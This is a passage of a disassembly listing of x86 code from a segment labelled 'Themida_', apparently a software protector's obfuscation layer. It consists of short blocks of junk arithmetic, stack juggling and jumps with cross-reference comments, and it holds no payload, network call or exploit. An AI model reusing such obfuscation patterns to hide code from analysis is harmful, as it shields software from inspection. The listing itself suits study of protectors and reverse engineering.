loc_569197:				; CODE XREF: Themida_:0056781Fj
		sub	esi, 332CB0E4h
		add	eax, esi
		pop	esi
		jmp	loc_56FF52
; ---------------------------------------------------------------------------


loc_5691A5:				; CODE XREF: Themida_:00570631j
		mov	ecx, 32296333h
		mov	edi, 8F67AC91h
		add	edi, 0D1E2BCBh
		sub	edi, 70631AC2h
		sub	edi, ecx
		add	edi, 70631AC2h
		jmp	loc_56748F
; ---------------------------------------------------------------------------


loc_5691C8:				; CODE XREF: Themida_:005623CFj
		mov	ch, al
		mov	bl, ch
		pop	ecx
		pop	eax
		sub	bl, 0B9h
		or	bl, 26h
		push	eax
		mov	al, 9
		dec	al
		shr	al, 1
		jmp	loc_5741D2
; ---------------------------------------------------------------------------


loc_5691E0:				; CODE XREF: Themida_:00561D59j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	1C7Dh
		mov	[esp], ebx
		push	4F32h
		mov	[esp], edx
		push	ebx
		mov	bh, ch
		jmp	loc_562044
; ---------------------------------------------------------------------------


loc_569204:				; CODE XREF: Themida_:0056B895j
		push	3878h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	ebp
		jmp	loc_56B5E0
; ---------------------------------------------------------------------------


loc_56921C:				; CODE XREF: Themida_:0056EC22j
		shr	ebp, 3
		jmp	loc_56F867
; ---------------------------------------------------------------------------


loc_569224:				; CODE XREF: Themida_:005745FDj
		add	ch, bh
		pop	ebx
		add	ch, al
		jmp	loc_568C1E
; ---------------------------------------------------------------------------


loc_56922E:				; CODE XREF: Themida_:00569AFCj
		and	edx, 7BAB1788h
		and	edx, 7875383Dh
		dec	edx
		jmp	loc_5733BF
; ---------------------------------------------------------------------------


loc_569240:				; CODE XREF: Themida_:00560246j
		xor	eax, [esp]
		mov	esp, [esp]
		sub	esp, 2
		mov	[esp], dx
		push	eax
		mov	ah, 3Ch
		add	ah, 1
		jmp	loc_56A791
; ---------------------------------------------------------------------------


loc_56925B:				; CODE XREF: Themida_:00573B4Aj
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_5641A1
; ---------------------------------------------------------------------------


loc_569279:				; CODE XREF: Themida_:0057067Bj
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_570A79
; ---------------------------------------------------------------------------


loc_569299:				; CODE XREF: Themida_:0056141Fj
		pop	edi
		pop	eax
		pop	esi
		jmp	loc_56E45E
; ---------------------------------------------------------------------------


loc_5692A1:				; CODE XREF: Themida_:00569521j
		add	esi, 5DE02835h
		shr	esi, 4
		push	ebx
		mov	ebx, 62522E14h
		sub	esi, ebx
		pop	ebx
		and	esi, 66BF5F28h
		xor	esi, 12101C05h
		xor	esi, 34B30429h
		sub	ebp, 3E2901CDh
		add	ebp, esi
		add	ebp, 3E2901CDh
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_571F98
; ---------------------------------------------------------------------------


loc_5692ED:				; CODE XREF: Themida_:00570612j
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	edi
		mov	edi, 2D4E0BFAh
		shl	edi, 6
		sub	edi, 28A02DC4h
		jmp	loc_56D516
; ---------------------------------------------------------------------------


loc_56930F:				; CODE XREF: Themida_:005627F7j
		push	ecx
		push	ebx
		mov	bl, 9
		mov	ch, 8Ch
		add	ch, bl
		jmp	loc_569C00
; ---------------------------------------------------------------------------


loc_56931C:				; CODE XREF: Themida_:0056B1CFj
		pop	edx
		push	ebx
		jmp	loc_5717F4
; ---------------------------------------------------------------------------


loc_569323:				; CODE XREF: Themida_:00572585j
		mov	esi, esp
		add	esi, 4
		jmp	loc_56706E
; ---------------------------------------------------------------------------


loc_569330:				; CODE XREF: Themida_:00565B87j
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_569D32
; ---------------------------------------------------------------------------


loc_569361:				; CODE XREF: Themida_:005725B4j
		add	ebp, 52A64132h
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	[esp+4], edi
		pop	edi
		push	esi
		jmp	loc_565B1A
; ---------------------------------------------------------------------------


loc_56937A:				; CODE XREF: Themida_:00571535j
		push	4
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	edi, 4C0241A1h
		jmp	loc_563879
; ---------------------------------------------------------------------------


loc_5693A2:				; CODE XREF: Themida_:0056A652j
		mov	eax, 21A607Dh
		jmp	loc_565266
; ---------------------------------------------------------------------------


loc_5693AC:				; CODE XREF: Themida_:00566892j
		push	dword ptr [esp+4]
		jmp	loc_5631E0
; ---------------------------------------------------------------------------


loc_5693B5:				; CODE XREF: Themida_:00571BA8j
		push	ebp
		push	ecx
		jmp	loc_56700F
; ---------------------------------------------------------------------------


loc_5693BC:				; CODE XREF: Themida_:0056C6DFj
		push	eax
		jmp	loc_56F276
; ---------------------------------------------------------------------------


loc_5693C2:				; CODE XREF: Themida_:00572CDEj
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 78DE4567h
		jmp	loc_5644D2
; ---------------------------------------------------------------------------


loc_5693E8:				; CODE XREF: Themida_:00561903j
		pop	edx
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5745C0
; ---------------------------------------------------------------------------


loc_5693F6:				; CODE XREF: Themida_:005658E4j
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_568F4F
; ---------------------------------------------------------------------------


loc_569405:				; CODE XREF: Themida_:00568735j
		pop	esp
		jmp	loc_56D867
; ---------------------------------------------------------------------------


loc_56940B:				; CODE XREF: Themida_:0056EB21j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5712E4
; ---------------------------------------------------------------------------


loc_569419:				; CODE XREF: Themida_:0056FD48j
		push	edi
		jmp	loc_565E8D
; ---------------------------------------------------------------------------


loc_56941F:				; CODE XREF: Themida_:0057034Bj
		sub	ebp, 0FB20DD73h
		add	eax, ebp
		pop	ebp
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		push	1D2D1315h
		pop	eax
		sub	eax, 0FFFFFFFFh
		xor	eax, 1C2D1316h
		push	eax
		pop	ebx
		pop	eax
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_564AAD
; ---------------------------------------------------------------------------


loc_56944D:				; CODE XREF: Themida_:00574562j
		mov	[esp], ecx
		mov	ecx, 27766211h
		sub	edi, ecx
		mov	ecx, [esp]
		jmp	loc_566407
; ---------------------------------------------------------------------------


loc_56945F:				; CODE XREF: Themida_:00571C79j
		add	esp, 4
		sub	edi, ebp
		pop	ebp
		jmp	loc_568E21
; ---------------------------------------------------------------------------


loc_56946D:				; CODE XREF: Themida_:0056C657j
		add	edi, ebx
		sub	edi, 611120DDh
		pop	ebx
		push	ecx
		push	edi
		jmp	loc_56D582
; ---------------------------------------------------------------------------


loc_56947D:				; CODE XREF: Themida_:00562956j
		pop	ecx
		add	edx, esi
		pop	esi
		sub	edx, ebp
		sub	edx, 4133220Ch
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 364C1047h
		inc	eax
		neg	eax
		or	eax, 69A604C1h
		add	eax, 1648100Bh
		mov	edx, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56ECA8
; ---------------------------------------------------------------------------


loc_5694B1:				; CODE XREF: Themida_:00564D4Fj
		pop	esi
		add	edx, edi
		push	edi
		mov	edi, 284C0130h
		add	edx, 19066009h
		sub	edx, edi
		jmp	loc_5708B8
; ---------------------------------------------------------------------------


loc_5694C7:				; CODE XREF: Themida_:0057075Cj
		pop	ecx
		or	eax, ebp
		jmp	loc_56F57C
; ---------------------------------------------------------------------------


loc_5694CF:				; CODE XREF: Themida_:00572569j
		push	3BB1h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		push	3DB4h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_56A009
; ---------------------------------------------------------------------------


loc_5694F4:				; CODE XREF: Themida_:0056687Dj
		mov	eax, 7876C0Ah
		jmp	loc_56B0F3
; ---------------------------------------------------------------------------


loc_5694FE:				; CODE XREF: Themida_:0056DCBCj
		pop	eax
		jmp	loc_56F073
; ---------------------------------------------------------------------------


loc_569504:				; CODE XREF: Themida_:0056336Cj
		push	edi
		mov	edi, 251D7E74h
		dec	edi
		add	edi, 9B606F07h
		sub	edx, edi
		jmp	loc_571278
; ---------------------------------------------------------------------------


loc_569518:				; CODE XREF: Themida_:005668CBj
		shl	esi, 5
		add	esi, 0E59FF3Fh
		jmp	loc_5692A1
; ---------------------------------------------------------------------------


loc_569526:				; CODE XREF: Themida_:00568DB2j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_56F7F1
; ---------------------------------------------------------------------------


loc_569531:				; CODE XREF: Themida_:00569F03j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_56046E
; ---------------------------------------------------------------------------


loc_569545:				; CODE XREF: Themida_:00565828j
		mov	esp, [esp]
		jmp	loc_565FD9
; ---------------------------------------------------------------------------


loc_56954D:				; CODE XREF: Themida_:00572DF3j
		mov	ah, 1Ch
		sub	ah, 81h
		jmp	loc_5699A3
; ---------------------------------------------------------------------------


loc_569557:				; CODE XREF: Themida_:0057190Cj
		sub	ecx, 96519033h
		add	ebx, ecx
		pop	ecx
		jmp	loc_5719C2
; ---------------------------------------------------------------------------


loc_569565:				; CODE XREF: Themida_:005745D8j
		mov	edi, 4
		jmp	loc_566260
; ---------------------------------------------------------------------------


loc_56956F:				; CODE XREF: Themida_:005731E5j
		push	3C25h
		jmp	loc_56A909
; ---------------------------------------------------------------------------


loc_569579:				; CODE XREF: Themida_:005739A9j
		mov	esp, [esp]
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		push	172Dh
		mov	[esp], edx
		mov	edx, 52E10EA9h
		push	ebx
		jmp	loc_56F655
; ---------------------------------------------------------------------------


loc_569596:				; CODE XREF: Themida_:0055F70Ej
		push	ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_561C1F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_56B45C
; ---------------------------------------------------------------------------


loc_5695AE:				; CODE XREF: Themida_:0056BF91j
		mov	[esp], edx
		mov	edx, 6157556Bh
		sub	edx, 0FD27033Dh
		or	edx, 600A3C28h
		xor	edx, 5D4F573Bh
		push	ecx
		mov	ecx, 81374D8h
		xor	ecx, 5D417756h
		sub	ecx, 0FEC5AAE8h
		add	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 42FB6C9Bh
		xor	esi, 2D0512F2h
		add	edx, esi
		pop	esi
		add	edx, edi
		push	eax
		jmp	loc_56E173
; ---------------------------------------------------------------------------


loc_5695F4:				; CODE XREF: Themida_:0056F612j
		mov	esi, 3C476E86h
		shr	esi, 2
		sub	esi, 0BBA9620Ah
		push	esi
		mov	esi, 5DA42D2Ah
		inc	esi
		and	esi, 589476FBh
		add	esi, 0E8930128h
		add	eax, esi
		pop	esi
		sub	eax, esi
		sub	eax, 41172553h
		pop	esi
		pop	esi
		add	ebx, 73316B09h
		sub	ebx, 29AA62A4h
		push	esi
		push	6D9Eh
		jmp	loc_568FB4
; ---------------------------------------------------------------------------


loc_569638:				; CODE XREF: Themida_:0056F68Dj
		push	ecx
		push	2A3EEAh
		pop	ecx
		sub	ecx, 0CF07FAE9h
		jmp	loc_565D67
; ---------------------------------------------------------------------------


loc_56964A:				; CODE XREF: Themida_:00570712j
		shl	esi, 4
		push	ecx
		mov	ecx, 44B346BEh
		sub	ecx, 0F8631BCBh
		xor	esi, ecx
		mov	ecx, [esp]
		push	edi
		jmp	loc_56492D
; ---------------------------------------------------------------------------


loc_569664:				; CODE XREF: Themida_:00567C20j
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_569671:				; CODE XREF: Themida_:00567D7Aj
		mov	[esp], eax
		push	27D14A35h
		jmp	loc_56B606
; ---------------------------------------------------------------------------


loc_56967E:				; CODE XREF: Themida_:005609DDj
		add	ecx, 0E84F63CCh
		jmp	loc_5704A6
; ---------------------------------------------------------------------------


loc_569689:				; CODE XREF: Themida_:0057032Cj
		mov	edx, 335A5756h
		add	edi, edx
		pop	edx
		dec	edi
		push	ecx
		mov	ecx, 0B879BADh
		sub	edi, ecx
		pop	ecx
		sub	ebx, 28551D9Eh
		sub	ebx, edi
		add	ebx, 28551D9Eh
		pop	edi
		push	dword ptr [esp]
		jmp	loc_5605E0
; ---------------------------------------------------------------------------


loc_5696B2:				; CODE XREF: Themida_:00563089j
		pop	edi
		xchg	edi, [esp]
		jmp	loc_56B716
; ---------------------------------------------------------------------------


loc_5696BB:				; CODE XREF: Themida_:0057171Cj
		pop	edi
		xor	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5668D0
; ---------------------------------------------------------------------------


loc_5696CC:				; CODE XREF: Themida_:0056CB1Ej
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5130042Fh
		not	ebp
		not	ebp
		not	ebp
		shr	ebp, 2
		neg	ebp
		push	eax
		mov	eax, 2BB3FEF8h
		add	ebp, eax
		pop	eax
		add	ecx, 2D9F03D7h
		add	ecx, ebp
		sub	ecx, 2D9F03D7h
		pop	ebp
		add	ecx, 2
		jmp	loc_5703B9
; ---------------------------------------------------------------------------


loc_569703:				; CODE XREF: Themida_:00569BA6j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56A68C
; ---------------------------------------------------------------------------


loc_569717:				; CODE XREF: Themida_:00564CB6j
		xor	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_566B45
; ---------------------------------------------------------------------------


loc_569723:				; CODE XREF: Themida_:00565D49j
		push	dword ptr [esp]
		jmp	loc_563980
; ---------------------------------------------------------------------------


loc_56972B:				; CODE XREF: Themida_:005718BAj
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 783913C4h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56F129
; ---------------------------------------------------------------------------


loc_569746:				; CODE XREF: Themida_:00563812j
		sub	edi, 0FFFFFFFFh
		xor	edi, 0D50BF3E3h
		xor	esi, edi
		pop	edi
		mov	eax, esi
		pop	esi
		pop	edi
		jmp	loc_563D3A
; ---------------------------------------------------------------------------


loc_56975B:				; CODE XREF: Themida_:005713C6j
		pop	ecx
		xor	ebx, 8311B9C1h
		jmp	loc_56C639
; ---------------------------------------------------------------------------


loc_569767:				; CODE XREF: Themida_:0057478Ej
		mov	dl, ch
		mov	ch, [esp+2]
		jmp	loc_56A72B
; ---------------------------------------------------------------------------


loc_569772:				; CODE XREF: Themida_:0056BBDAj
		mov	edx, edi
		pop	edi
		jmp	loc_56A657
; ---------------------------------------------------------------------------
		lodsw
		xor	ax, bx
		push	0B44h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	si, 148Ah
		mov	dx, si
		pop	esi
		inc	dx
		shr	dx, 1
		shl	dx, 3
		push	cx
		jmp	loc_5659DB
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		jmp	loc_56E958
; ---------------------------------------------------------------------------


loc_5697AF:				; CODE XREF: Themida_:005669C0j
		xchg	esi, [esp]
		jmp	loc_560BC3
; ---------------------------------------------------------------------------


loc_5697B7:				; CODE XREF: Themida_:0056DD71j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 149F0EE7h
		dec	edi
		jmp	loc_564798
; ---------------------------------------------------------------------------


loc_5697E5:				; CODE XREF: Themida_:0056DD5Dj
		push	5637h
		jmp	loc_56DA90
; ---------------------------------------------------------------------------


loc_5697EF:				; CODE XREF: Themida_:0056453Ej
		push	dword ptr [esp]
		pop	edi
		jmp	loc_561A0B
; ---------------------------------------------------------------------------


loc_5697F8:				; CODE XREF: Themida_:0056A1FFj
		mov	ebp, 5C3F16D5h
		xor	esi, ebp
		pop	ebp
		sub	esi, 9DAC96AEh
		jmp	loc_562820
; ---------------------------------------------------------------------------


loc_56980B:				; CODE XREF: Themida_:005658CEj
		add	esp, 4
		add	esp, 4
		jmp	loc_56EBEE
; ---------------------------------------------------------------------------


loc_569819:				; CODE XREF: Themida_:0056A857j
		or	ecx, 5E16103Bh
		jmp	loc_57085C
; ---------------------------------------------------------------------------


loc_569824:				; CODE XREF: Themida_:00569A07j
		mov	ebx, esp
		jmp	loc_56FB10
; ---------------------------------------------------------------------------


loc_56982B:				; CODE XREF: Themida_:0056A023j
		push	esi
		mov	esi, 5EA40FA2h
		shl	esi, 5
		and	esi, 6B19371Ch
		add	esi, 40E770B9h
		add	esi, 60F97DC5h
		inc	esi
		add	esi, 30D4F3AEh
		mov	ebx, esi
		jmp	loc_562333
; ---------------------------------------------------------------------------


loc_569854:				; CODE XREF: Themida_:0057241Aj
		push	cx
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56985C:				; CODE XREF: Themida_:00572B0Cj
		pop	small word ptr [edi+eax*4]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_569865:				; CODE XREF: Themida_:00569953j
		xor	ebp, [esp]
		pop	esp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		push	433h
		jmp	loc_56AB26
; ---------------------------------------------------------------------------


loc_569886:				; CODE XREF: Themida_:00563A9Ej
		mov	[esp], edx
		push	ecx
		mov	ecx, 14DC1467h
		mov	edx, 14DC146Bh
		sub	edx, 1A447D76h
		sub	edx, ecx
		jmp	loc_562F6B
; ---------------------------------------------------------------------------


loc_5698A1:				; CODE XREF: Themida_:005684F5j
		and	eax, 7FC4477Eh
		shl	eax, 3
		jmp	loc_56BA8F
; ---------------------------------------------------------------------------


loc_5698AE:				; CODE XREF: Themida_:005734A5j
		pop	ebp
		push	1264h
		jmp	loc_568EE3
; ---------------------------------------------------------------------------


loc_5698B9:				; CODE XREF: Themida_:0056DFACj
		mov	[esp], eax
		push	27BDh
		jmp	loc_5627A0
; ---------------------------------------------------------------------------


loc_5698C6:				; CODE XREF: Themida_:00572D45j
		pop	ecx
		sub	esp, 4
		jmp	loc_56A169
; ---------------------------------------------------------------------------


loc_5698D2:				; CODE XREF: Themida_:005704D4j
		xor	eax, 0A625715Eh
		jmp	loc_57429C
; ---------------------------------------------------------------------------


loc_5698DC:				; CODE XREF: Themida_:0056A897j
		xor	ebp, 29982F48h
		xor	ebp, 299FED2Eh
		jmp	loc_569B6D
; ---------------------------------------------------------------------------


loc_5698ED:				; CODE XREF: Themida_:00566F8Dj
		pop	edi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	eax, ebx
		jmp	loc_566C11
; ---------------------------------------------------------------------------


loc_5698FF:				; CODE XREF: Themida_:00573F91j
		pop	eax
		sub	esi, edi
		pop	edi
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 25A00C49h
		jmp	loc_572A06
; ---------------------------------------------------------------------------


loc_569919:				; CODE XREF: Themida_:005660EDj
		push	ebp
		mov	ebp, 189307A3h
		jmp	loc_56181A
; ---------------------------------------------------------------------------


loc_569924:				; CODE XREF: Themida_:00574019j
		xor	[esp], ebx
		jmp	loc_568952
; ---------------------------------------------------------------------------


loc_56992C:				; CODE XREF: Themida_:00564309j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, 592B26EDh
		add	ebp, ebx
		sub	ebp, 592B26EDh
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_569865
; ---------------------------------------------------------------------------


loc_569958:				; CODE XREF: Themida_:00566652j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_570C62
; ---------------------------------------------------------------------------


loc_56996D:				; CODE XREF: Themida_:005628B6j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5607DE
; ---------------------------------------------------------------------------


loc_56997B:				; CODE XREF: Themida_:0056BCCEj
		mov	eax, esp
		jmp	loc_55FEB7
; ---------------------------------------------------------------------------


loc_569982:				; CODE XREF: Themida_:0056AD03j
		mov	ebx, 54E42512h
		sub	[esp+4], ebx
		pop	ebx
		jmp	loc_55F658
; ---------------------------------------------------------------------------


loc_569991:				; CODE XREF: Themida_:00566026j
		sub	eax, 41D5525Ch
		add	eax, edx
		add	eax, 41D5525Ch
		pop	edx
		jmp	loc_564E98
; ---------------------------------------------------------------------------


loc_5699A3:				; CODE XREF: Themida_:00569552j
		xor	dh, ah
		pop	eax
		xor	cl, dh
		jmp	loc_5604BB
; ---------------------------------------------------------------------------


loc_5699AD:				; CODE XREF: Themida_:0056F1D8j
		pop	ecx
		add	ecx, 98C11DBh
		jmp	loc_55F746
; ---------------------------------------------------------------------------


loc_5699B9:				; CODE XREF: Themida_:0057010Bj
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		push	ebx
		mov	ebx, 212B4AD5h
		push	ebp
		mov	ebp, 0BA2655Dh
		xor	ebp, 2F2D685Bh
		add	ebp, 4A2A1598h
		or	ebx, ebp
		jmp	loc_5671E1
; ---------------------------------------------------------------------------


loc_5699E1:				; CODE XREF: Themida_:005604A8j
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5699F4:				; CODE XREF: Themida_:00572C1Aj
		push	edx
		jmp	loc_560E7E
; ---------------------------------------------------------------------------


loc_5699FA:				; CODE XREF: Themida_:0056BF12j
		pop	eax
		add	dword ptr [esp+4], 69556AEAh
		mov	edi, [esp]
		push	ebx
		jmp	loc_569824
; ---------------------------------------------------------------------------


loc_569A0C:				; CODE XREF: Themida_:0057229Aj
		sub	dword ptr [esp], 0FFFFFFFFh
		pop	edi
		sub	esp, 4
		jmp	loc_56FA73
; ---------------------------------------------------------------------------


loc_569A1C:				; CODE XREF: Themida_:00573386j
		mov	edx, 6D2B4AB0h
		sub	edx, 379771A2h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4B803D49h
		or	edx, esi
		mov	esi, [esp]
		add	esp, 4
		dec	edx
		shl	edx, 8
		jmp	loc_567806
; ---------------------------------------------------------------------------


loc_569A46:				; CODE XREF: Themida_:0055FE83j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_571D67
; ---------------------------------------------------------------------------


loc_569A5A:				; CODE XREF: Themida_:0057427Ej
		add	[esp+8], esi
		pop	esi
		pop	esi
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_569A65:				; CODE XREF: Themida_:0056C192j
		push	ebx
		push	173D1E11h
		push	dword ptr [esp]
		jmp	loc_567C25
; ---------------------------------------------------------------------------


loc_569A73:				; CODE XREF: Themida_:0057149Fj
		push	0E66B8B37h
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56651E
; ---------------------------------------------------------------------------


loc_569A8C:				; CODE XREF: Themida_:005630F9j
		push	small 43D0h
		mov	[esp], ax
		mov	ah, 4Fh
		add	cl, ah
		jmp	loc_56C122
; ---------------------------------------------------------------------------


loc_569A9D:				; CODE XREF: Themida_:0056FC69j
		pop	edx
		sub	edx, 0C2F34ABh
		jmp	loc_566C6D
; ---------------------------------------------------------------------------


loc_569AA9:				; CODE XREF: Themida_:0056413Bj
		xor	esi, edx
		pop	edx
		push	esi
		xchg	ebx, [esp]
		jmp	loc_563E93
; ---------------------------------------------------------------------------


loc_569AB5:				; CODE XREF: Themida_:00573F9Fj
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_569AC1:				; CODE XREF: Themida_:00561CE7j
		shl	ecx, 3
		and	ecx, 5B5D3DFFh
		jmp	loc_5712C0
; ---------------------------------------------------------------------------


loc_569ACF:				; CODE XREF: Themida_:005704FCj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_570F41
; ---------------------------------------------------------------------------


loc_569ADD:				; CODE XREF: Themida_:00563915j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_57088D
; ---------------------------------------------------------------------------


loc_569AEB:				; CODE XREF: Themida_:0056281Bj
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 20A857CEh
		or	edx, 6402897h
		jmp	loc_56922E
; ---------------------------------------------------------------------------


loc_569B01:				; CODE XREF: Themida_:00561F69j
		xchg	ebx, [esp]
		jmp	loc_56C683
; ---------------------------------------------------------------------------


loc_569B09:				; CODE XREF: Themida_:0056D39Bj
		not	cl
		or	cl, 1Eh
		push	edx
		mov	dh, 7Ah
		sub	cl, dh
		pop	edx
		sub	cl, 20h
		shl	cl, 5
		add	cl, 49h
		jmp	loc_563BE2
; ---------------------------------------------------------------------------


loc_569B22:				; CODE XREF: Themida_:00561842j
		pop	edi
		push	edx
		jmp	loc_56107C
; ---------------------------------------------------------------------------


loc_569B29:				; CODE XREF: Themida_:0056C997j
		and	esi, 6BD06AF8h
		xor	esi, 109D7037h
		jmp	loc_56315E
; ---------------------------------------------------------------------------


loc_569B3A:				; CODE XREF: Themida_:0056327Aj
		pop	eax
		add	esp, 4
		jmp	loc_56E900
; ---------------------------------------------------------------------------


loc_569B43:				; CODE XREF: Themida_:005642BBj
		push	ebp
		mov	ebp, 58447137h
		not	ebp
		jmp	loc_56FF07
; ---------------------------------------------------------------------------


loc_569B50:				; CODE XREF: Themida_:00563104j
		push	esi
		mov	esi, 0
		sub	esi, ebp
		xchg	esi, ebp
		pop	esi
		not	ebp
		neg	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_563B34
; ---------------------------------------------------------------------------


loc_569B6D:				; CODE XREF: Themida_:005698E8j
		add	eax, ebp
		jmp	loc_56FBAA
; ---------------------------------------------------------------------------


loc_569B74:				; CODE XREF: Themida_:0055FEBDj
		not	esi
		shl	esi, 2
		neg	esi
		xchg	ebp, esi
		dec	ebp
		xchg	ebp, esi
		add	esi, 8DCA30D9h
		push	esi
		jmp	loc_56B559
; ---------------------------------------------------------------------------


loc_569B8C:				; CODE XREF: Themida_:005666B8j
		pop	eax
		sub	esi, ebx
		sub	esi, 4E7457A3h
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		jmp	loc_569703
; ---------------------------------------------------------------------------


loc_569BAB:				; CODE XREF: Themida_:00566521j
		and	[edi+1Ch], ebx
		push	dword ptr [esp]
		jmp	loc_56B9C9
; ---------------------------------------------------------------------------


loc_569BB6:				; CODE XREF: Themida_:0056DA9Ej
		or	eax, ebp
		pop	ebp
		sub	eax, 6E0914FFh
		jmp	loc_564DEB
; ---------------------------------------------------------------------------


loc_569BC3:				; CODE XREF: Themida_:00565890j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	dx, [esp]
		jmp	loc_5664CB
; ---------------------------------------------------------------------------


loc_569BD6:				; CODE XREF: Themida_:005736C4j
		push	edx
		not	dword ptr [esp]
		pop	edx
		xor	edx, 0FFF3BF6Bh
		add	ebx, 7FD529D3h
		add	ebx, edx
		jmp	loc_570318
; ---------------------------------------------------------------------------


loc_569BEE:				; CODE XREF: Themida_:0056AB43j
		add	ebp, 164276EFh
		push	ebx
		push	edx
		push	3B9E26E1h
		jmp	loc_56E61D
; ---------------------------------------------------------------------------


loc_569C00:				; CODE XREF: Themida_:00569317j
		pop	ebx
		add	ch, 9Dh
		push	ebx
		mov	bh, ch
		mov	ah, bh
		jmp	loc_56CE11
; ---------------------------------------------------------------------------


loc_569C0E:				; CODE XREF: Themida_:00562689j
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_56F379
; ---------------------------------------------------------------------------


loc_569C21:				; CODE XREF: Themida_:0056C250j
		mov	ecx, [esp]
		jmp	loc_56CE90
; ---------------------------------------------------------------------------


loc_569C29:				; CODE XREF: Themida_:005681B1j
		mov	esi, 87A0062h
		and	esi, 187423E2h
		sub	esi, 3D8C50B6h
		push	ebx
		mov	ebx, 3B4A0F5Fh
		or	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_571A6C
; ---------------------------------------------------------------------------


loc_569C4E:				; CODE XREF: Themida_:0056785Fj
		sub	si, cx
		jmp	loc_56F39E
; ---------------------------------------------------------------------------


loc_569C56:				; CODE XREF: Themida_:005652EBj
		push	ebx
